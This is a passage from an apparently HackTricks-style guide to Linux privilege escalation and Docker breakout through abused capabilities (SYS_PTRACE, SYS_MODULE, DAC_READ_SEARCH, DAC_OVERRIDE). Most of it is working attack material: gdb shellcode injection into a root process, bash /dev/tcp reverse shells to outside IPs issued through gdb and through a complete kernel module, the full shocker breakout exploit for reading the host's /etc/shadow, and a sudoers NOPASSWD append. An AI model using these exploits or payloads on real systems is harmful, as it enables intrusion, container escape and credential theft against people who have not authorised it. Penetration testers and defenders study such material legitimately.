payload = b&amp;quot;\x90&amp;quot; * (8 - len(buf) % 8 ) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
	chunk = payload[i:i+8][::-1]
	chunks = &amp;quot;0x&amp;quot;
	for byte in chunk:
		chunks += f&amp;quot;{byte:02x}&amp;quot;

	print(f&amp;quot;set {{long}}($rip+{i}) = {chunks}&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Debug a root process with gdb ad copy-paste the previously generated gdb lines:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;dash
[...]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Example with environment (Docker breakout) - Another gdb Abuse&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If &lt;strong&gt;GDB&lt;&#x2F;strong&gt; is installed (or you can install it with &lt;code&gt;apk add gdb&lt;&#x2F;code&gt; or &lt;code&gt;apt install gdb&lt;&#x2F;code&gt; for example) you can&lt;strong&gt;debug a process from the host&lt;&#x2F;strong&gt; and make it call the &lt;code&gt;system&lt;&#x2F;code&gt; function. (This technique also requires the capability &lt;code&gt;SYS_ADMIN&lt;&#x2F;code&gt;)&lt;strong&gt;.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gdb -p 1234
(gdb) call (void)system(&amp;quot;ls&amp;quot;)
(gdb) call (void)system(&amp;quot;sleep 5&amp;quot;)
(gdb) call (void)system(&amp;quot;bash -c &amp;#x27;bash -i &amp;gt;&amp;amp; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;192.168.115.135&amp;#x2F;5656 0&amp;gt;&amp;amp;1&amp;#x27;&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell).&lt;&#x2F;p&gt;
&lt;p&gt;If you get the error &quot;No symbol &quot;system&quot; in current context.&quot; check the previous example loading a shellcode in a program via gdb.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with environment (Docker breakout) - Shellcode Injection&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You can check the enabled capabilities inside the docker container using:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00&amp;#x2F;0x0&amp;#x2F;1&amp;#x27;b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;List &lt;strong&gt;processes&lt;&#x2F;strong&gt; running in the&lt;strong&gt;host&lt;&#x2F;strong&gt;&lt;code&gt;ps -eaf&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Get the &lt;strong&gt;architecture&lt;&#x2F;strong&gt;&lt;code&gt;uname -m&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Find a &lt;strong&gt;shellcode&lt;&#x2F;strong&gt; for the architecture (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.exploit-db.com&#x2F;exploits&#x2F;41128&quot;&gt;https:&#x2F;&#x2F;www.exploit-db.com&#x2F;exploits&#x2F;41128&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;Find a &lt;strong&gt;program&lt;&#x2F;strong&gt; to&lt;strong&gt;inject&lt;&#x2F;strong&gt; the&lt;strong&gt;shellcode&lt;&#x2F;strong&gt; into a process memory (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;0x00pf&#x2F;0x00sec_code&#x2F;blob&#x2F;master&#x2F;mem_inject&#x2F;infect.c&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;0x00pf&#x2F;0x00sec_code&#x2F;blob&#x2F;master&#x2F;mem_inject&#x2F;infect.c&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Modify&lt;&#x2F;strong&gt; the&lt;strong&gt;shellcode&lt;&#x2F;strong&gt; inside the program and&lt;strong&gt;compile&lt;&#x2F;strong&gt; it &lt;code&gt;gcc inject.c -o inject&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Inject&lt;&#x2F;strong&gt; it and grab your&lt;strong&gt;shell&lt;&#x2F;strong&gt;: &lt;code&gt;.&#x2F;inject 299; nc 172.17.0.1 5600&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;cap-sys-module&quot;&gt;CAP_SYS_MODULE&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;&lt;code&gt;&amp;amp;lt;strong class\=&amp;amp;quot;font-bold&amp;amp;quot;&amp;amp;gt;CAP\_SYS\_MODULE&amp;amp;lt;&#x2F;strong&amp;amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; empowers a process to &lt;strong&gt;load and unload kernel modules (&lt;&#x2F;strong&gt;&lt;code&gt;init_module(2)&lt;&#x2F;code&gt;&lt;strong&gt;,&lt;&#x2F;strong&gt;  &lt;code&gt;finit_module(2)&lt;&#x2F;code&gt;&lt;strong&gt;and&lt;&#x2F;strong&gt; &lt;code&gt;delete_module(2)&lt;&#x2F;code&gt;&lt;strong&gt;system calls)&lt;&#x2F;strong&gt; , offering direct access to the kernel&#x27;s core operations. This capability presents critical security risks, as it enables privilege escalation and total system compromise by allowing modifications to the kernel, thereby bypassing all Linux security mechanisms, including Linux Security Modules and container isolation.&lt;strong&gt;This means that you caninsert&#x2F;remove kernel modules in&#x2F;from the kernel of the host machine.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the following example the binary &lt;code&gt;python&lt;&#x2F;code&gt; has this capability.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getcap -r &amp;#x2F; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python2.7 = cap_sys_module+ep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By default, &lt;code&gt;modprobe&lt;&#x2F;code&gt; command checks for dependency list and map files in the directory &lt;code&gt;&#x2F;lib&#x2F;modules&#x2F;$(uname -r)&lt;&#x2F;code&gt;. In order to abuse this, lets create a fake &lt;strong&gt;lib&#x2F;modules&lt;&#x2F;strong&gt; folder:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mkdir lib&amp;#x2F;modules -p
cp -a &amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;5.0.0-20-generic&amp;#x2F; lib&amp;#x2F;modules&amp;#x2F;$(uname -r)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then &lt;strong&gt;compile the kernel module you can find 2 examples below and copy&lt;&#x2F;strong&gt; it to this folder:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cp reverse-shell.ko lib&amp;#x2F;modules&amp;#x2F;$(uname -r)&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Finally, execute the needed python code to load this kernel module:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;import kmod
km = kmod.Kmod()
km.set_mod_dir(&amp;quot;&amp;#x2F;path&amp;#x2F;to&amp;#x2F;fake&amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;5.0.0-20-generic&amp;#x2F;&amp;quot;)
km.modprobe(&amp;quot;reverse-shell&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Example 2 with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the following example the binary &lt;code&gt;kmod&lt;&#x2F;code&gt; has this capability.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getcap -r &amp;#x2F; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&amp;#x2F;bin&amp;#x2F;kmod = cap_sys_module+ep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which means that it&#x27;s possible to use the command &lt;code&gt;insmod&lt;&#x2F;code&gt; to insert a kernel module. Follow the example below to get a &lt;strong&gt;reverse shell&lt;&#x2F;strong&gt; abusing this privilege.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with environment (Docker breakout)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You can check the enabled capabilities inside the docker container using:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00&amp;#x2F;0x0&amp;#x2F;1&amp;#x27;b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Inside the previous output you can see that the &lt;strong&gt;SYS_MODULE&lt;&#x2F;strong&gt; capability is enabled.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Create&lt;&#x2F;strong&gt; the&lt;strong&gt;kernel module&lt;&#x2F;strong&gt; that is going to execute a reverse shell and the&lt;strong&gt;Makefile&lt;&#x2F;strong&gt; to&lt;strong&gt;compile&lt;&#x2F;strong&gt; it:&lt;&#x2F;p&gt;
&lt;p&gt;reverse-shell.c&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;linux&amp;#x2F;kmod.h&amp;gt;
#include &amp;lt;linux&amp;#x2F;module.h&amp;gt;
MODULE_LICENSE(&amp;quot;GPL&amp;quot;);
MODULE_AUTHOR(&amp;quot;AttackDefense&amp;quot;);
MODULE_DESCRIPTION(&amp;quot;LKM reverse shell module&amp;quot;);
MODULE_VERSION(&amp;quot;1.0&amp;quot;);

char* argv[] = {&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;,&amp;quot;-c&amp;quot;,&amp;quot;bash -i &amp;gt;&amp;amp; &amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;10.10.14.8&amp;#x2F;4444 0&amp;gt;&amp;amp;1&amp;quot;, NULL};
static char* envp[] = {&amp;quot;PATH=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;sbin:&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin:&amp;#x2F;usr&amp;#x2F;sbin:&amp;#x2F;usr&amp;#x2F;bin:&amp;#x2F;sbin:&amp;#x2F;bin&amp;quot;, NULL };

&amp;#x2F;&amp;#x2F; call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO &amp;quot;Exiting\n&amp;quot;);
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Makefile&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;obj-m +=reverse-shell.o

all:
    make -C &amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;$(shell uname -r)&amp;#x2F;build M=$(PWD) modules

clean:
    make -C &amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;$(shell uname -r)&amp;#x2F;build M=$(PWD) clean
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The blank char before each make word in the Makefile &lt;strong&gt;must be a tab, not spaces&lt;&#x2F;strong&gt;!&lt;&#x2F;p&gt;
&lt;p&gt;Execute &lt;code&gt;make&lt;&#x2F;code&gt; to compile it.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ake[1]: *** &amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;5.10.0-kali7-amd64&amp;#x2F;build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Finally, start &lt;code&gt;nc&lt;&#x2F;code&gt; inside a shell and &lt;strong&gt;load the module&lt;&#x2F;strong&gt; from another one and you will capture the shell in the nc process:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;The code of this technique was copied from the laboratory of &quot;Abusing SYS_MODULE Capability&quot; from&lt;&#x2F;strong&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.pentesteracademy.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.pentesteracademy.com&#x2F;&lt;&#x2F;a&gt;**&lt;&#x2F;p&gt;
&lt;p&gt;Another example of this technique can be found in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberark.com&#x2F;resources&#x2F;threat-research-blog&#x2F;how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host&quot;&gt;https:&#x2F;&#x2F;www.cyberark.com&#x2F;resources&#x2F;threat-research-blog&#x2F;how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-dac-read-search&quot;&gt;CAP_DAC_READ_SEARCH&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;CAP_DAC_READ_SEARCH&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; enables a process to&lt;strong&gt;bypass permissions for reading files and for reading and executing directories&lt;&#x2F;strong&gt;. Its primary use is for file searching or reading purposes. However, it also allows a process to use the &lt;code&gt;open_by_handle_at(2)&lt;&#x2F;code&gt; function, which can access any file, including those outside the process&#x27;s mount namespace. The handle used in &lt;code&gt;open_by_handle_at(2)&lt;&#x2F;code&gt; is supposed to be a non-transparent identifier obtained through &lt;code&gt;name_to_handle_at(2)&lt;&#x2F;code&gt;, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@fun_cuddles&#x2F;docker-breakout-exploit-analysis-a274fff0e6b3&quot;&gt;here&lt;&#x2F;a&gt;.&lt;strong&gt;This means that you canbypass can bypass file read permission checks and directory read&#x2F;execute permission checks.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cd &amp;#x2F;etc
tar -czf &amp;#x2F;tmp&amp;#x2F;shadow.tar.gz shadow #Compress show file in &amp;#x2F;tmp
cd &amp;#x2F;tmp
tar -cxf shadow.tar.gz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Example with binary2&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In this case lets suppose that &lt;code&gt;python&lt;&#x2F;code&gt; binary has this capability. In order to list root files you could do:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;import os
for r, d, f in os.walk(&amp;#x27;&amp;#x2F;root&amp;#x27;):
    for filename in f:
        print(filename)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And in order to read a file you could do:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;print(open(&amp;quot;&amp;#x2F;etc&amp;#x2F;shadow&amp;quot;, &amp;quot;r&amp;quot;).read())
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Example in Environment (Docker breakout)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You can check the enabled capabilities inside the docker container using:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00&amp;#x2F;0x0&amp;#x2F;1&amp;#x27;b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Inside the previous output you can see that the &lt;strong&gt;DAC_READ_SEARCH&lt;&#x2F;strong&gt; capability is enabled. As a result, the container can&lt;strong&gt;debug processes&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;You can learn how the following exploiting works in &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@fun_cuddles&#x2F;docker-breakout-exploit-analysis-a274fff0e6b3&quot;&gt;https:&#x2F;&#x2F;medium.com&#x2F;@fun_cuddles&#x2F;docker-breakout-exploit-analysis-a274fff0e6b3&lt;&#x2F;a&gt; but in resume &lt;strong&gt;CAP_DAC_READ_SEARCH&lt;&#x2F;strong&gt; not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to&lt;em&gt;&lt;strong&gt;open_by_handle_at(2)&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;  and&lt;strong&gt;could allow our process to sensitive files opened by other processes&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The original exploit that abuse this permissions to read files from the host can be found here: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;stealth.openwall.net&#x2F;xSports&#x2F;shocker.c&quot;&gt;http:&#x2F;&#x2F;stealth.openwall.net&#x2F;xSports&#x2F;shocker.c&lt;&#x2F;a&gt;, the following is a &lt;strong&gt;modified version that allows you to indicate the file you want to read as first argument and dump it in a file.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;types.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;stat.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;dirent.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;

&amp;#x2F;&amp;#x2F; gcc shocker.c -o shocker
&amp;#x2F;&amp;#x2F; .&amp;#x2F;socker &amp;#x2F;etc&amp;#x2F;shadow shadow #Read &amp;#x2F;etc&amp;#x2F;shadow from host and save result in shadow file in current dir

struct my_file_handle {
    unsigned int handle_bytes;
    int handle_type;
    unsigned char f_handle[8];
};

void die(const char *msg)
{
    perror(msg);
    exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
    fprintf(stderr,&amp;quot;[*] #=%d, %d, char nh[] = {&amp;quot;, h-&amp;gt;handle_bytes,
    h-&amp;gt;handle_type);
    for (int i = 0; i &amp;lt; h-&amp;gt;handle_bytes; ++i) {
        fprintf(stderr,&amp;quot;0x%02x&amp;quot;, h-&amp;gt;f_handle[i]);
        if ((i + 1) % 20 == 0)
        fprintf(stderr,&amp;quot;\n&amp;quot;);
        if (i &amp;lt; h-&amp;gt;handle_bytes - 1)
        fprintf(stderr,&amp;quot;, &amp;quot;);
    }
    fprintf(stderr,&amp;quot;};\n&amp;quot;);
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
    int fd;
    uint32_t ino = 0;
    struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
    };
    DIR *dir = NULL;
    struct dirent *de = NULL;
    path = strchr(path, &amp;#x27;&amp;#x2F;&amp;#x27;);
    &amp;#x2F;&amp;#x2F; recursion stops if path has been resolved
    if (!path) {
        memcpy(oh-&amp;gt;f_handle, ih-&amp;gt;f_handle, sizeof(oh-&amp;gt;f_handle));
        oh-&amp;gt;handle_type = 1;
        oh-&amp;gt;handle_bytes = 8;
        return 1;
    }

    ++path;
    fprintf(stderr, &amp;quot;[*] Resolving &amp;#x27;%s&amp;#x27;\n&amp;quot;, path);
    if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) &amp;lt; 0)
        die(&amp;quot;[-] open_by_handle_at&amp;quot;);
    if ((dir = fdopendir(fd)) == NULL)
        die(&amp;quot;[-] fdopendir&amp;quot;);
    for (;;) {
        de = readdir(dir);
        if (!de)
        break;
        fprintf(stderr, &amp;quot;[*] Found %s\n&amp;quot;, de-&amp;gt;d_name);
        if (strncmp(de-&amp;gt;d_name, path, strlen(de-&amp;gt;d_name)) == 0) {
            fprintf(stderr, &amp;quot;[+] Match: %s ino=%d\n&amp;quot;, de-&amp;gt;d_name, (int)de-&amp;gt;d_ino);
            ino = de-&amp;gt;d_ino;
            break;
        }
    }

    fprintf(stderr, &amp;quot;[*] Brute forcing remaining 32bit. This can take a while...\n&amp;quot;);
    if (de) {
        for (uint32_t i = 0; i &amp;lt; 0xffffffff; ++i) {
            outh.handle_bytes = 8;
            outh.handle_type = 1;
            memcpy(outh.f_handle, &amp;amp;ino, sizeof(ino));
            memcpy(outh.f_handle + 4, &amp;amp;i, sizeof(i));
            if ((i % (1&amp;lt;&amp;lt;20)) == 0)
                fprintf(stderr, &amp;quot;[*] (%s) Trying: 0x%08x\n&amp;quot;, de-&amp;gt;d_name, i);
            if (open_by_handle_at(bfd, (struct file_handle *)&amp;amp;outh, 0) &amp;gt; 0) {
                closedir(dir);
                close(fd);
                dump_handle(&amp;amp;outh);
                return find_handle(bfd, path, &amp;amp;outh, oh);
            }
        }
    }
    closedir(dir);
    close(fd);
    return 0;
}

int main(int argc,char* argv[] )
{
    char buf[0x1000];
    int fd1, fd2;
    struct my_file_handle h;
    struct my_file_handle root_h = {
        .handle_bytes = 8,
        .handle_type = 1,
        .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
    };

    fprintf(stderr, &amp;quot;[***] docker VMM-container breakout Po(C) 2014 [***]\n&amp;quot;
    &amp;quot;[***] The tea from the 90&amp;#x27;s kicks your sekurity again. [***]\n&amp;quot;
    &amp;quot;[***] If you have pending sec consulting, I&amp;#x27;ll happily [***]\n&amp;quot;
    &amp;quot;[***] forward to my friends who drink secury-tea too! [***]\n\n&amp;lt;enter&amp;gt;\n&amp;quot;);

    read(0, buf, 1);

    &amp;#x2F;&amp;#x2F; get a FS reference from something mounted in from outside
    if ((fd1 = open(&amp;quot;&amp;#x2F;etc&amp;#x2F;hostname&amp;quot;, O_RDONLY)) &amp;lt; 0)
        die(&amp;quot;[-] open&amp;quot;);

    if (find_handle(fd1, argv[1], &amp;amp;root_h, &amp;amp;h) &amp;lt;= 0)
        die(&amp;quot;[-] Cannot find valid handle!&amp;quot;);

    fprintf(stderr, &amp;quot;[!] Got a final handle!\n&amp;quot;);
    dump_handle(&amp;amp;h);

    if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&amp;amp;h, O_RDONLY)) &amp;lt; 0)
        die(&amp;quot;[-] open_by_handle&amp;quot;);

    memset(buf, 0, sizeof(buf));
    if (read(fd2, buf, sizeof(buf) - 1) &amp;lt; 0)
        die(&amp;quot;[-] read&amp;quot;);

    printf(&amp;quot;Success!!\n&amp;quot;);

    FILE *fptr;
    fptr = fopen(argv[2], &amp;quot;w&amp;quot;);
    fprintf(fptr,&amp;quot;%s&amp;quot;, buf);
    fclose(fptr);

    close(fd2); close(fd1);

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The exploit needs to find a pointer to something mounted on the host. The original exploit used the file &#x2F;.dockerinit and this modified version uses &#x2F;etc&#x2F;hostname. If the exploit isn&#x27;t working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The code of this technique was copied from the laboratory of &quot;Abusing DAC_READ_SEARCH Capability&quot; from&lt;&#x2F;strong&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.pentesteracademy.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.pentesteracademy.com&#x2F;&lt;&#x2F;a&gt;**&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-dac-override&quot;&gt;CAP_DAC_OVERRIDE&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;This mean that you can bypass write permission checks on any file, so you can write any file.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;There are a lot of files you can &lt;strong&gt;overwrite to escalate privileges,****&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.hacktricks.xyz&#x2F;linux-hardening&#x2F;privilege-escalation&#x2F;payloads-to-execute#overwriting-a-file-to-escalate-privileges&quot;&gt;you can get ideas from here&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In this example vim has this capability, so you can modify any file like &lt;em&gt;passwd&lt;&#x2F;em&gt;, &lt;em&gt;sudoers&lt;&#x2F;em&gt; or &lt;em&gt;shadow&lt;&#x2F;em&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getcap -r &amp;#x2F; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;vim = cap_dac_override+ep

vim &amp;#x2F;etc&amp;#x2F;sudoers #To overwrite it
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Example with binary 2&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In this example &lt;code&gt;python&lt;&#x2F;code&gt; binary will have this capability. You could use python to override any file:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;file=open(&amp;quot;&amp;#x2F;etc&amp;#x2F;sudoers&amp;quot;,&amp;quot;a&amp;quot;)
file.write(&amp;quot;yourusername ALL=(ALL) NOPASSWD:ALL&amp;quot;)
file.close()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
